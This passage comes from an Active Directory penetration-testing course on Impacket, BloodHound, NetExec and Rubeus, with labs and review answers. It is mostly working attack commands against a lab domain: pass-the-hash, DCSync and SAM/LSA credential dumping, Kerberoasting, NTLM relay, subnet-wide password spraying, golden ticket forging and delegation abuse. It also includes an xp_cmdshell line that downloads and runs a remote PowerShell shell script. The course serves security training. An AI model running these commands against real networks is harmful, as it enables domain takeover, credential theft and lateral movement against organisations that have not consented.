Master the Impacket toolkit across its full attack surface: credential-based lateral movement, hash-based authentication, Kerberos attacks, DCSync, NTLM relay, and MSSQL exploitation — all executed from Kali against a Windows AD environment.

Theory

Impacket is a collection of Python classes implementing Windows network protocols at a raw level. Unlike GUI tools, Impacket forces you to understand what's actually happening on the wire — which makes you a better operator and a better troubleshooter. Every major Windows/AD attack technique has an Impacket implementation.

Deep Technical Explanation

Remote Execution — The Holy Trinity

All three techniques below achieve the same thing (remote command execution) via different protocols and with different detection profiles:

psexec.py — creates a service on the target via SMB SVCCTL, uploads an executable, runs it. Loud — creates artifacts in Windows Event Log (7045: service installed). Reliable.

```
# With plaintext credentials
impacket-psexec lab.local/jsmith:Password123@192.168.56.20

# With NT hash (pass-the-hash) — no plaintext needed
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 \
lab.local/jsmith@192.168.56.20

# With administrator hash
impacket-psexec -hashes :8846f7eaae8fb117ad06bdd830b7586c lab.local/administrator@192.168.56.20
```

wmiexec.py — executes commands via WMI (Windows Management Instrumentation). Semi-interactive shell, runs as the authenticated user. Less noisy than psexec — no service creation. Output retrieved via a hidden share.


```
impacket-wmiexec lab.local/jsmith:Password123@192.168.56.20
impacket-wmiexec -hashes :NTHASH lab.local/administrator@192.168.56.20

# One-shot command
impacket-wmiexec lab.local/jsmith:Password123@192.168.56.20 "whoami /all"
```

smbexec.py — similar to psexec but operates differently; writes output to a temp file via SMB. Each command creates a new service — noisier than wmiexec but sometimes more reliable in restricted environments.

```
impacket-smbexec lab.local/jsmith:Password123@192.168.56.20
```

Credential Dumping — secretsdump.py

The single most impactful Impacket tool. Dumps credentials from multiple sources in one shot:

```
# Remote SAM dump (local accounts) + LSA secrets
impacket-secretsdump lab.local/administrator:Password123@192.168.56.20

# DCSync — emulates a DC replication request to pull all hashes from NTDS.dit
# Requires Domain Admin or equivalent DCSync rights (GetChangesAll)
impacket-secretsdump -just-dc lab.local/administrator:Password123@192.168.56.10

# DCSync with hash (pass-the-hash)
impacket-secretsdump -just-dc -hashes :ADMINHASH lab.local/administrator@192.168.56.10

# Offline: dump from NTDS.dit + SYSTEM hive files (extracted via backup/VSS)
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

Output format: **domain\username:RID:LM_HASH:NT_HASH:::**

The NT hash (rightmost) is what you use for pass-the-hash.

Kerberos Attacks

AS-REP Roasting — finds users who don't require Kerberos pre-authentication and retrieves crackable encrypted data:

```
# With credentials (faster, also enumerates who is vulnerable)
impacket-GetNPUsers lab.local/jsmith:Password123 -dc-ip 192.168.56.10 \
  -request -format hashcat -outputfile asrep_hashes.txt

# Without credentials (null session — only works if null auth is allowed)
impacket-GetNPUsers lab.local/ -dc-ip 192.168.56.10 \
  -no-pass -usersfile usernames.txt -format hashcat -outputfile asrep_hashes.txt
```

Kerberoasting — requests TGS tickets for SPN-registered accounts; tickets are encrypted with service account hash:

```
impacket-GetUserSPNs lab.local/jsmith:Password123 -dc-ip 192.168.56.10 \  
-request -outputfile kerb_hashes.txt  
  
# With pass-the-hash  
impacket-GetUserSPNs -hashes :NTHASH lab.local/jsmith@192.168.56.10 -request
```

Both AS-REP and Kerberoast output is cracked with Hashcat (Module 9).

NTLM Relay — ntlmrelayx.py

NTLM relay intercepts an authentication attempt destined for one server and replays it to another server of your choice:

```
# Step 1: Disable SMB signing is required on target (check first)  
nmap --script smb2-security-mode 192.168.56.0/24  
  
# Step 2: Start ntlmrelayx, relay to target, dump SAM  
impacket-ntlmrelayx -tf targets.txt -smb2support  
  
# Step 3: Trigger authentication from a victim (coercion techniques)  
# e.g., Responder (listen mode only, to avoid conflicts)  
sudo responder -I eth1 -rdwv --lm  
  
# ntlmrelayx with interactive SOCKS for relay-then-use  
impacket-ntlmrelayx -tf targets.txt -smb2support -socks  
# Then use proxychains with the opened SOCKS session  
proxychains impacket-secretsdump -no-pass -socks localhost/user@192.168.56.20
```

MSSQL — mssqlclient.py

SQL Server is frequently found in AD environments and often runs as a high-privilege domain service account:

```
# Connect with SQL auth  
impacket-mssqlclient sa:Password123@192.168.56.30  
  
# Connect with Windows auth (pass-through domain auth)  
impacket-mssqlclient -windows-auth lab.local/jsmith:Password123@192.168.56.30  
  
# Inside mssqlclient shell:  
SQL> xp_cmdshell whoami           # Execute OS commands (if enabled)  
SQL> enable_xp_cmdshell          # Enable it if disabled (requires sysadmin)  
SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.1/shell.ps1')"
```

SMB Operations — smbclient.py

```
# List shares (null session)
impacket-smbclient -no-pass //192.168.56.10

# List shares (authenticated)
impacket-smbclient lab.local/jsmith:Password123@192.168.56.10

# Inside shell:
shares      # list shares
use SYSVOL  # connect to share
ls          # list files
get Groups.xml # download file (contains cpassword – AES encrypted admin password)
```

Ticket Operations — ticketer.py / lookupsid.py

```
# Enumerate SIDs in the domain (critical for Trust attacks)
impacket-lookupsid lab.local/jsmith:Password123@192.168.56.10

# Forge a Golden Ticket (requires krbtgt hash from secretsdump)
impacket-ticketer -nthash KRB5TGT_HASH -domain-sid S-1-5-21-... \
    -domain lab.local administrator

# Use the ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass lab.local/administrator@dc01.lab.local
```

Common Mistakes

- Using **impacket-psexec** when a lighter-touch technique (**wmiexec**) would achieve the same result — always choose the least-noisy effective option.
- Forgetting the hash format: **-hashes LMHASH:NTHASH** — the LM portion can be **aad3b435b51404eeaad3b435b51404ee** (empty LM) or zeroed; only the NT hash matters.
- Running **secretsdump** remotely without first confirming you have the necessary privileges — it fails silently or errors in non-obvious ways.
- Forgetting that **DCSync** requires specific AD replication rights — Domain Admin has them by default, but other paths to **DCSync** require explicit delegation.

Real-World Usage

In a typical AD engagement: Kerberoast with **GetUserSPNs.py** → crack the service account hash → use those creds for **wmiexec** lateral movement → **secretsdump** the new host's local hashes → find a local admin hash reused across multiple hosts → **wmiexec** to those hosts → eventually reach a DA and **DCSync** everything.

Guided Lab — Full Impacket Chain on AD Lab

```
# 1. Kerberoast – get the svc_backup ticket
impacket-GetUserSPNs lab.local/jsmith:Password123 -dc-ip 192.168.56.10 -request

# 2. Dump SAM on the workstation with jsmith (if jsmith is local admin)
impacket-secretsdump lab.local/jsmith:Password123@192.168.56.20

# 3. (After gaining DA) DCSync
impacket-secretsdump -just-dc lab.local/administrator:Password123@192.168.56.10

# 4. Pass-the-hash with DA hash
impacket-wmiexec -hashes :DA_NT_HASH lab.local/administrator@192.168.56.10
```

Challenge Lab

Starting with only `jsmith:Password123` — use Impacket exclusively to: Kerberoast the `svc_backup` account, demonstrate a pass-the-hash using any hash you can obtain, and achieve a shell on the DC. Document every command and its output.

Review Questions

1. What is the functional difference between `psexec.py` and `wmiexec.py` from a stealth perspective?
2. What does DCSync do and what AD rights does it require?
3. What is the NT hash format for a blank LM hash in `-hashes` notation?
4. What prerequisites must be met for `ntlmrelayx` to work?
5. Why does an MSSQL server running as a domain service account create an attractive attack target?

Answers

1. `psexec.py` creates a Windows service on the target (noisy, logged as event 7045). `wmiexec.py` uses WMI — no service creation, less forensic footprint, generally preferred for stealth.
2. DCSync emulates an AD domain controller requesting replication data, pulling all password hashes from NTDS.dit. It requires `GetChangesAll` replication right, which Domain Admins have by default.
3. `aad3b435b51404eeaad3b435b51404ee:NTHASH` — the LM portion is the empty-LM placeholder.
4. SMB signing must be disabled or not enforced on the target, and you need a mechanism to capture/redirect NTLM authentication (e.g., Responder, coercion technique).
5. If the SQL service runs as a domain service account, any credentials or hashes obtained from it give you domain authentication capability — and `xp_cmdshell` running as that account executes OS commands with domain permissions.

MODULE 06

BloodHound and SharpHound

Objectives

Deploy SharpHound to collect AD data, import it into BloodHound, read and interpret attack path graphs, identify the shortest path to Domain Admin from any starting position, and use BloodHound's built-in queries to find high-value misconfigurations automatically.

Theory

BloodHound is a graph-based analysis tool that models Active Directory relationships as a mathematical graph — nodes are objects (users, computers, groups, GPOs, OUs) and edges are relationships (MemberOf, AdminTo, HasSession, GenericAll, WriteDACL, etc.). Because it computes shortest paths across the entire graph, BloodHound consistently finds privilege escalation paths that manual enumeration misses — paths through six or seven intermediate nodes that no human would trace manually.

Deep Technical Explanation

How BloodHound Works

SharpHound (the collector) runs on a domain-joined Windows machine with any domain credentials. It queries LDAP, SMB, and RPC to build a comprehensive snapshot of the domain: every user, computer, group, group membership, local admin assignment, active session, ACL permission, and GPO link. This data is exported as JSON files, imported into BloodHound's Neo4j graph database, and then queried visually.

The power is in the edges. An edge like **WriteDACL** from UserA to GroupB means UserA can modify GroupB's ACL — which means UserA can add themselves to GroupB. If GroupB has AdminTo rights on a server, UserA effectively has admin on that server through a two-hop chain. BloodHound draws this entire chain and labels every step.

Setup on Kali

```
# Install BloodHound and Neo4j
sudo apt install bloodhound neo4j -y

# Start Neo4j
sudo neo4j start
# First-time: browse http://localhost:7474, login neo4j/neo4j, set new password

# Launch BloodHound
bloodhound &
# Login with your neo4j credentials
```

SharpHound Collection

SharpHound must run on a Windows machine that is domain-joined (or from Kali using BloodHound.py for remote collection):

```
# On a domain-joined Windows machine – download SharpHound
# https://github.com/BloodHoundAD/SharpHound

# Full collection (recommended for labs)
.\SharpHound.exe -c All --outputdirectory C:\temp\

# Stealth collection – only LDAP, no SMB session enumeration
.\SharpHound.exe -c DCOOnly

# Collection with specific domain creds
.\SharpHound.exe -c All -d lab.local --ldapusername jsmith --ldappassword Password123
```

BloodHound.py — remote collection from Kali without touching Windows:

```
pip3 install bloodhound --break-system-packages
bloodhound-python -u jsmith -p Password123 -d lab.local -ns 192.168.56.10 -c All
# Produces JSON files in current directory
```

Importing Data

1. In BloodHound UI: click Upload Data (top right)
2. Select all JSON files produced by SharpHound / bloodhound-python
3. Wait for import to complete
4. Refresh node counts in the Database Info tab

Essential Built-in Queries

Run these immediately after every import:

```

Find Shortest Paths to Domain Admins
Find All Domain Admins
Find Principals with DCSync Rights
Find Computers Where Domain Users are Local Admin
Find Shortest Path from Owned Principals
Find AS-REP Roastable Users
Find Kerberoastable Users
Find Users with Most Local Admin Rights
Shortest Paths to Unconstrained Delegation Systems

```

Reading the Graph

Every node has a type (User, Computer, Group, GPO, OU, Domain) indicated by its icon. Every edge has a label indicating the relationship:

Edge	What it Means	Attack Action
MemberOf	Object is in a group	Inherit group's rights
AdminTo	Object has local admin on computer	psexec/wmiexec, credential dump
HasSession	User has an active session on computer	Token impersonation if admin
GenericAll	Full control over the object	Add to group, reset password, etc.
GenericWrite	Write to specific attributes	Set SPN for Kerberoast, set logon script
WriteDACL	Modify object's ACL	Grant yourself GenericAll
WriteOwner	Change object's owner	Become owner, then WriteDACL
ForceChangePassword	Reset user's password without knowing old	Change to attacker-controlled value
AllExtendedRights	All special rights on the object	Includes Force-Change-Password, DCSync
AddMember	Add members to the group	Add yourself to the group
Owns	Object owns another	Same as WriteOwner effect
ReadLAPSPassword	Can read LAPS local admin password	Recover local admin creds
GPLink	GPO is linked to OU	Modify GPO for code exec on OU members

Marking Owned Nodes

Right-click any node → Mark as Owned. This is your starting position. BloodHound will then compute shortest paths from your owned nodes specifically:

Analysis → Shortest Paths from Owned Principals to Domain Admins

If you own `jsmith`, mark it. If you've compromised WS01, mark it. As you progress through the engagement and compromise more systems, keep marking — the reachable attack paths update dynamically.

Custom Cypher Queries

BloodHound uses Neo4j's Cypher query language. Useful raw queries for the search bar:

```
// Find all users with AdminTo rights on the DC
MATCH (u:User)-[:AdminTo]->(c:Computer {name:"DC01.LAB.LOCAL"}) RETURN u.name

// Find all paths from a specific user to DA
MATCH p=shortestPath((u:User {name:"JSMITH@LAB.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMIN@LAB.LOCAL"}))
RETURN p

// Find computers with unconstrained delegation (except DCs)
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS "DC" RETURN c.name

// Find users with path to DA in 3 hops or fewer
MATCH p=shortestPath((u:User)-[*1..3]->(g:Group {name:"DOMAIN ADMIN@LAB.LOCAL"}))
RETURN u.name, length(p) ORDER BY length(p)

// Find all ACL edges from a specific user
MATCH (u:User {name:"JSMITH@LAB.LOCAL"})-[*]->(o) RETURN type(r), o.name
```

Delegation Attacks via BloodHound

BloodHound specifically flags two high-value delegation misconfigurations:

Unconstrained Delegation — a computer trusted for unconstrained delegation receives TGTs from every user who authenticates to it. If you compromise that computer, you can extract TGTs from memory and impersonate those users — including Domain Admins if any authenticated while you had access.

Constrained Delegation — a computer or service account is trusted to delegate to specific services only. Still exploitable via the S4U2Proxy/S4U2Self Kerberos extension to impersonate any user to those specific services.

```
# Find unconstrained delegation hosts via BloodHound query
# Or via Impacket:
impacket-findDelegation lab.local/jsmith:Password123 -dc-ip 192.168.56.10
```

Practical Examples — From Graph to Attack

Scenario: BloodHound shows **JSMITH** → **MemberOf** → **IT_SUPPORT** → **GenericWrite** → **SVC_BACKUP**

Translation: jsmith is in IT_SUPPORT, which has GenericWrite on the svc_backup service account. GenericWrite lets you set a new SPN on svc_backup (making it Kerberoastable even if it wasn't before), or set a malicious logon script.

Attack path:

```
# 1. Set a fake SPN on svc_backup via GenericWrite
impacket-addspn -u jsmith -p Password123 -s fake/attacker -t svc_backup -dc-ip 192.168.56.10

# 2. Kerberoast the now-SPN-registered account
impacket-GetUserSPNs lab.local/jsmith:Password123 -request -dc-ip 192.168.56.10

# 3. Crack the hash (Module 9), get svc_backup plaintext
```

Common Mistakes

- Running SharpHound with **-c All** and never reading anything beyond the "Shortest Path to DA" query — there are dozens of other high-value queries.
- Ignoring edges that aren't direct admin paths — WriteDACL, WriteOwner, and GenericWrite chains are just as actionable.
- Not marking owned nodes as engagement progresses — the "from owned" queries become useless if you don't maintain the owned list.
- Running BloodHound collection only once at the start — running it after each lateral movement often reveals new sessions and paths.

Real-World Usage

BloodHound is now standard in virtually every real internal AD pentest. The typical workflow: collect on day one, find the shortest path to DA, execute the attack chain in order, re-collect if the initial path gets blocked, document every edge traversed with evidence for the report. Many red teamers keep BloodHound open throughout the entire engagement as a live map.

Guided Lab — Full BloodHound Workflow

```
# 1. Collect from Kali
bloodhound-python -u jsmith -p Password123 -d lab.local -ns 192.168.56.10 -c All

# 2. Start BloodHound
sudo neo4j start && bloodhound &

# 3. Import all JSON files

# 4. Run: Find Shortest Paths to Domain Admins

# 5. Run: Find Kerberoastable Users – confirm svc_backup appears

# 6. Mark jsmith as Owned, re-run Shortest Paths from Owned Principals
```

Challenge Lab

Using only BloodHound custom Cypher queries (not the pre-built ones), find: every user with a path to Domain Admins in 4 hops or fewer, every computer with unconstrained delegation that is not a DC, and every ACL edge pointing at any Domain Admin account. Write all three queries from scratch.

Review Questions

1. What is an "edge" in BloodHound's graph model and give three examples?
2. What does **WriteDACL** on an object allow an attacker to do?
3. Why should you mark nodes as "Owned" during an engagement?
4. What is unconstrained delegation and why is a host with this setting valuable to an attacker?
5. What is the difference between SharpHound and BloodHound.py?

Answers

1. An edge represents a relationship between two AD objects, indicating a specific right or trust. Examples: AdminTo (local admin rights), MemberOf (group membership), GenericAll (full control).
2. WriteDACL on an object lets the attacker modify the object's Access Control List — meaning they can grant themselves or any other principal GenericAll (full control) over that object.
3. So that BloodHound's "Shortest Paths from Owned Principals" queries compute attack paths starting from your actual current position, reflecting real reachability rather than theoretical paths from any starting point.
4. Unconstrained delegation means any user who authenticates to that host sends their TGT to it. An attacker who compromises that host can extract those TGTs from memory and impersonate those users — including any Domain Admin who happened to authenticate.
5. SharpHound is a Windows executable that must run on a domain-joined machine. BloodHound.py is a Python-based remote collector that runs from Kali using only network access and valid credentials,

requiring no Windows foothold.

MODULE 07

NetExec: Lateral Movement at Scale

Objectives

Use NetExec (nxc) to spray credentials and hashes across an entire subnet simultaneously, enumerate users and shares, execute commands on multiple hosts at once, dump credentials at scale, and identify every system a set of credentials grants access to — all from a single command.

Theory

NetExec (formerly CrackMapExec) is the Swiss Army knife of AD lateral movement. Where Impacket tools target one host at a time, NetExec targets entire subnets in parallel with a single command. The workflow is: get credentials → spray them everywhere → see what they open → pivot deeper. It automates the "try these creds on every host" step that would otherwise take hours manually.

Deep Technical Explanation

Installation and Protocol Support

```
# NetExec is the actively maintained successor to CrackMapExec
sudo apt install netexec -y
# or
pip3 install netexec --break-system-packages

# Verify
nxc --version

# Supported protocols
nxc --help
# smb, winrm, ssh, ldap, mssql, rdp, wmi, ftp
```

Core Syntax Pattern

```
nxc <protocol> <target> -u <user> -p <password> [options]
nxc <protocol> <target> -u <user> -H <NT_HASH> [options]
```

SMB — The Primary Protocol

```
# Test credentials against a single host
nxc smb 192.168.56.20 -u jsmith -p Password123

# Test against entire subnet
nxc smb 192.168.56.0/24 -u jsmith -p Password123

# Test with NT hash (pass-the-hash)
nxc smb 192.168.56.0/24 -u administrator -H :8846f7eaae8fb117ad06bdd830b7586c

# Test with a list of targets
nxc smb targets.txt -u jsmith -p Password123

# Output legend:
# [+] – credentials valid
# (Pwn3d!) – credentials = local/domain admin on this host
# [-] – credentials invalid
```

Credential Spraying

```
# Single password against many users (password spray)
nxc smb 192.168.56.0/24 -u usernames.txt -p 'Winter2024!' --continue-on-success

# Password list against one user
nxc smb 192.168.56.10 -u administrator -p passwords.txt

# Spray with lockout-awareness (--no-bruteforce = one password per user)
nxc smb 192.168.56.0/24 -u usernames.txt -p 'Password123' --no-bruteforce --continue-on-success

# Check password policy first (via ldap)
nxc ldap 192.168.56.10 -u jsmith -p Password123 --pass-pol
```

Enumeration via SMB

```
# List shares on all hosts
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --shares

# Enumerate users
nxc smb 192.168.56.10 -u jsmith -p Password123 --users

# Enumerate domain groups
nxc smb 192.168.56.10 -u jsmith -p Password123 --groups

# Enumerate local groups (including local admins) on all hosts
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --local-groups

# Find logged-on users (reveals DA sessions on hosts)
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --loggedon-users

# RID brute-force user enumeration (works with null sessions on some configs)
nxc smb 192.168.56.10 -u '' -p '' --rid-brute
```

Remote Command Execution

```
# Execute command on all hosts where creds work
nxc smb 192.168.56.0/24 -u administrator -p Password123 -x "whoami"

# PowerShell execution
nxc smb 192.168.56.0/24 -u administrator -p Password123 -X "Get-Process"

# Execute on all hosts where you're admin
nxc smb 192.168.56.0/24 -u administrator -H :ADMINHASH -x "ipconfig /all"
```

Credential Dumping at Scale

```
# Dump SAM (local hashes) on all hosts where admin
nxc smb 192.168.56.0/24 -u administrator -p Password123 --sam

# Dump LSA secrets on all hosts
nxc smb 192.168.56.0/24 -u administrator -p Password123 --lsa

# DCSync (runs against DC)
nxc smb 192.168.56.10 -u administrator -p Password123 --ntds

# LAPS – retrieve LAPS local admin passwords (where ReadLAPSPassword right exists)
nxc ldap 192.168.56.10 -u jsmith -p Password123 --laps
```

WinRM Protocol

WinRM gives you a full interactive PowerShell session:

```
# Test WinRM access
nxc winrm 192.168.56.0/24 -u jsmith -p Password123

# Interactive shell (equivalent to evil-winrm)
nxc winrm 192.168.56.20 -u jsmith -p Password123 --interactive
```

LDAP Protocol — AD Enumeration

```
# Enumerate domain info
nxc ldap 192.168.56.10 -u jsmith -p Password123 --get-sid

# Find Kerberoastable accounts
nxc ldap 192.168.56.10 -u jsmith -p Password123 --kerberoasting kerb_hashes.txt

# Find AS-REP Roastable accounts
nxc ldap 192.168.56.10 -u jsmith -p Password123 --asreproast asrep_hashes.txt

# Active accounts with admincount=1 (protected users)
nxc ldap 192.168.56.10 -u jsmith -p Password123 --admin-count

# Password not required flag
nxc ldap 192.168.56.10 -u jsmith -p Password123 --password-not-required
```

MSSQL Protocol

```
# Test MSSQL access
nxc mssql 192.168.56.30 -u sa -p Password123

# Execute OS command via xp_cmdshell
nxc mssql 192.168.56.30 -u sa -p Password123 -x "whoami"

# Enable xp_cmdshell and exec
nxc mssql 192.168.56.30 -u sa -p Password123 --put-file /tmp/shell.exe 'C:\temp\shell.exe'
```

Using Modules

NetExec has a module system extending its capabilities:

```
# List available modules for SMB
nxc smb --list-modules

# Mimikatz via module (dump LSASS memory remotely)
nxc smb 192.168.56.20 -u administrator -p Password123 -M mimikatz

# Bloodhound collection via module
nxc ldap 192.168.56.10 -u jsmith -p Password123 -M bloodhound

# MS17-010 (EternalBlue) check
nxc smb 192.168.56.0/24 -M ms17-010

# PrintNightmare check
nxc smb 192.168.56.0/24 -u jsmith -p Password123 -M printnightmare

# ZeroLogon check
nxc smb 192.168.56.10 -u '' -p '' -M zerologon

# NoPac check (sAMAccountName spoofing)
nxc smb 192.168.56.10 -u jsmith -p Password123 -M nopac
```

Output and Database

NetExec maintains a SQLite database of all discovered hosts, credentials, and results:

```
# View all hosts discovered
nxc smb --targets

# View saved credentials
nxc smb --creds

# Export results
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --export $(pwd)/results.json
```

Practical Examples — Complete Lateral Movement Sweep

```
# Phase 1: Discover all live SMB hosts and their OS versions
nxc smb 192.168.56.0/24

# Phase 2: Spray the one password we found via OSINT
nxc smb 192.168.56.0/24 -u usernames.txt -p 'Welcome1!' --continue-on-success --no-bruteforce

# Phase 3: On hosts where we're admin, dump SAM
nxc smb 192.168.56.0/24 -u jsmith -p Welcome1! --sam

# Phase 4: Use dumped hashes for pass-the-hash everywhere
nxc smb 192.168.56.0/24 -u administrator -H :LOCALHASH --continue-on-success

# Phase 5: On DC (where we now have DA hash), DCSync
nxc smb 192.168.56.10 -u administrator -H :DAHASH --ntds
```


Common Mistakes

- Not using `--continue-on-success` during spraying — without it, NetExec stops on the first hit.
- Using `--no-bruteforce` but forgetting it still tests one credential pair per user per run — sending the same password twice without checking lockout policy can lock accounts.
- Treating `(Pwn3d!)` as equivalent to "Domain Admin" — it means local admin on that specific host, which may or may not translate to further privilege.
- Not checking logged-on users before dumping a machine — a DA session on a workstation is a gold mine that's easily missed if you skip `--loggedon-users`.

Real-World Usage

NetExec's value multiplies with scale: in a /16 enterprise network, a single spray command tests credentials across 65,000 hosts while you focus on other things. Many operators run NetExec sweeps as background jobs, reviewing results periodically rather than waiting on one host at a time.

Guided Lab — Spray, Own, Dump

```
# 1. Discover the subnet
nxc smb 192.168.56.0/24

# 2. Spray known credentials
nxc smb 192.168.56.0/24 -u jsmith -p Password123

# 3. Find what shares jsmith can read
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --shares

# 4. Check for logged on users
nxc smb 192.168.56.0/24 -u jsmith -p Password123 --loggedon-users

# 5. Kerberoast via ldap module
nxc ldap 192.168.56.10 -u jsmith -p Password123 --kerberoasting kerb.txt
cat kerb.txt
```

Challenge Lab

Using only NetExec commands: discover all live hosts, enumerate logged-on users on all hosts, perform a credential spray (using at least three usernames and two passwords), and — using any admin credential you find — dump local SAM hashes on all hosts where you have admin rights. Do this entirely from memory of the syntax pattern.

Review Questions

1. What does **(Pwn3d!)** indicate in NetExec SMB output?
2. What is the purpose of **--no-bruteforce** and **--continue-on-success** together?
3. What does **--loggedon-users** reveal and why is it tactically valuable?
4. Which NetExec command performs a DCSync equivalent?
5. Why check password policy before a credential spray?

Answers

1. The supplied credentials have local administrator privileges on that specific host — full SMB admin access, enabling command execution and credential dumping.
2. **--no-bruteforce** tests exactly one password per username (preventing lockout by limiting attempts per account), while **--continue-on-success** prevents NetExec from stopping at the first valid hit so all valid pairs are found.
3. It reveals which domain users currently have active sessions on each host — a Domain Admin session on a workstation means you can dump their TGT/credentials from that machine if you have local admin.
4. **nxc smb <DC_IP> -u administrator -p Password123 --ntds**
5. To determine the lockout threshold — spraying more passwords than the threshold without sufficient delay between attempts can lock out accounts, alerting defenders and denying users legitimate access.

MODULE 08

Kerberos Attacks and Rubeus

Objectives

Master every major Kerberos-based attack from both the Linux side (Impacket) and the Windows side (Rubeus): Kerberoasting, AS-REP Roasting, Pass-the-Ticket, Overpass-the-Hash, Unconstrained/Constrained Delegation abuse, and forging Golden and Silver Tickets.

Theory

Kerberos is the authentication backbone of Active Directory, and it has deep structural properties that create recurring, reliable attack opportunities — not because it's poorly implemented, but because the environment it runs in (large orgs with legacy accounts, service accounts, delegation configurations) consistently produces exploitable conditions. Every serious AD operator needs all of these techniques at muscle-memory level.

Deep Technical Explanation

Kerberoasting (T1558.003)

Any authenticated domain user can request a Kerberos service ticket (TGS) for any SPN-registered account. The ticket is encrypted with the service account's NT hash. You crack the ticket offline — no account lockout, no loud activity beyond a standard TGS request.

From Kali (Impacket)

```
impacket-GetUserSPNs lab.local/jsmith:Password123 -dc-ip 192.168.56.10 \  
-request -outputfile kerb_hashes.txt  
cat kerb_hashes.txt  
# $krb5tgs$23$*svc_backup$LAB.LOCAL$backup/dc01.lab.local*$...
```

From Windows (Rubeus)

```
# Download: https://github.com/GhostPack/Rubeus (or pre-compiled for labs)

# Kerberoast all SPNs
.\Rubeus.exe kerberoast /outfile:C:\temp\kerb.txt

# Target a specific account
.\Rubeus.exe kerberoast /user:svc_backup /outfile:C:\temp\kerb.txt

# Request RC4 downgrade (easier to crack than AES)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:C:\temp\kerb.txt
```

Crack with Hashcat (Module 9): `hashcat -m 13100 kerb_hashes.txt rockyou.txt`

AS-REP Roasting (T1558.004)

Users with "Do not require Kerberos preauthentication" (DONT_REQ_PREAUTH) set don't need to prove identity before the AS-REP is issued — so you can request it without knowing their password. The AS-REP contains data encrypted with the user's hash that can be cracked offline.

From Kali

```
# With credentials (enumerate who's vulnerable first)
impacket-GetNPUsers lab.local/jsmith:Password123 -dc-ip 192.168.56.10 \
  -request -format hashcat -outputfile asrep.txt

# Without credentials (if user list known and null auth works)
impacket-GetNPUsers lab.local/ -dc-ip 192.168.56.10 \
  -usersfile usernames.txt -format hashcat -no-pass -outputfile asrep.txt
```

From Windows (Rubeus)

```
.\Rubeus.exe asreproast /format:hashcat /outfile:C:\temp\asrep.txt
.\Rubeus.exe asreproast /user:nopreauth_user /format:hashcat
```

Crack: `hashcat -m 18200 asrep.txt rockyou.txt`

Pass-the-Ticket (T1550.003)

Instead of cracking a ticket, steal an existing valid ticket from memory and use it directly.

From Windows (Rubeus) — Harvesting tickets

```
# List all tickets in current session
.\Rubeus.exe tklist

# Dump all tickets from all users (requires admin)
.\Rubeus.exe dump /service:krbtgt /luid:0x3e7 /nowrap

# Monitor new ticket arrivals (useful on unconstrained delegation hosts)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator

# Inject a stolen ticket into current session
.\Rubeus.exe ptt /ticket:doIFuj...base64ticket...
```

From Kali (Impacket)

```
# Export ticket from .ccache file
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass lab.local/administrator@dc01.lab.local
```

Overpass-the-Hash (OPtH)

Use an NT hash to request a Kerberos TGT — getting a full Kerberos ticket from a hash, without cracking the password. This is quieter than NTLM pass-the-hash in environments that monitor NTLM usage.

```
# Rubeus — convert NT hash to TGT
.\Rubeus.exe asktgt /user:administrator /rc4:8846f7eaae8fb117ad06bdd830b7586c /ptt

# Now run commands using Kerberos auth (not NTLM)
dir \\dc01.lab.local\c$
```

```
# Impacket equivalent (getTGT)
impacket-getTGT lab.local/administrator -hashes :8846f7eaae8fb117ad06bdd830b7586c
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass lab.local/administrator@dc01.lab.local
```

Unconstrained Delegation Abuse

A computer trusted for unconstrained delegation receives copies of every authenticating user's TGT. If a Domain Admin authenticates to it, their TGT is stored in LSASS memory.

```
# Find hosts with unconstrained delegation (from BloodHound or:)  
.\Rubeus.exe triage  
  
# Monitor for incoming DA TGTs (run on the delegation host)  
.\Rubeus.exe monitor /interval:5 /filteruser:administrator /nowrap  
  
# Trigger DA authentication via coercion (SpoolSample, PetitPotam)  
# From attacker machine:  
.\SpoolSample.exe dc01.lab.local ws01.lab.local # triggers DC to auth to WS01  
  
# Once TGT arrives, extract and inject  
.\Rubeus.exe ptt /ticket:<base64_ticket>
```

Constrained Delegation Abuse (S4U)

Constrained delegation allows a service to impersonate any user to a specific target service. The S4U2Self + S4U2Proxy Kerberos extensions make this fully exploitable.

```
# Requires: control of the constrained delegation account + its hash/ticket  
.\Rubeus.exe s4u /user:svc_http /rc4:NTHASH \  
  /impersonateuser:administrator \  
  /msdsspn:cifs/dc01.lab.local /ptt  
  
# Verify access  
dir \\dc01.lab.local\c$
```

```
# Impacket equivalent  
impacket-getST -spn cifs/dc01.lab.local \  
  -impersonate administrator \  
  lab.local/svc_http -hashes :NTHASH -dc-ip 192.168.56.10  
export KRB5CCNAME=administrator@cifs_dc01.lab.local@LAB.LOCAL.ccache  
impacket-secretsdump -k -no-pass lab.local/administrator@dc01.lab.local
```

Golden Ticket Attack (T1558.001)

Forge a TGT using the **krbtgt** account hash. The krbtgt hash is used to sign all TGTs in the domain — with it, you can create arbitrary, eternally valid tickets for any user, any group, any rights.

```
# Step 1: Get krbtgt hash via DCSync
impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@192.168.56.10

# Step 2: Get domain SID
impacket-lookupsid lab.local/administrator:Password123@192.168.56.10 | grep "Domain SID"

# Step 3: Forge the golden ticket
impacket-ticketer -nthash KRBTGT_HASH \
  -domain-sid S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX \
  -domain lab.local \
  administrator # <-- any username, even non-existent

# Step 4: Use the ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass lab.local/administrator@dc01.lab.local
```

```
# Rubeus golden ticket
.\Rubeus.exe golden /aes256:KRBTGT_AES256 /user:administrator \
  /domain:lab.local /sid:S-1-5-21-... /ptt
```

Silver Ticket Attack (T1558.002)

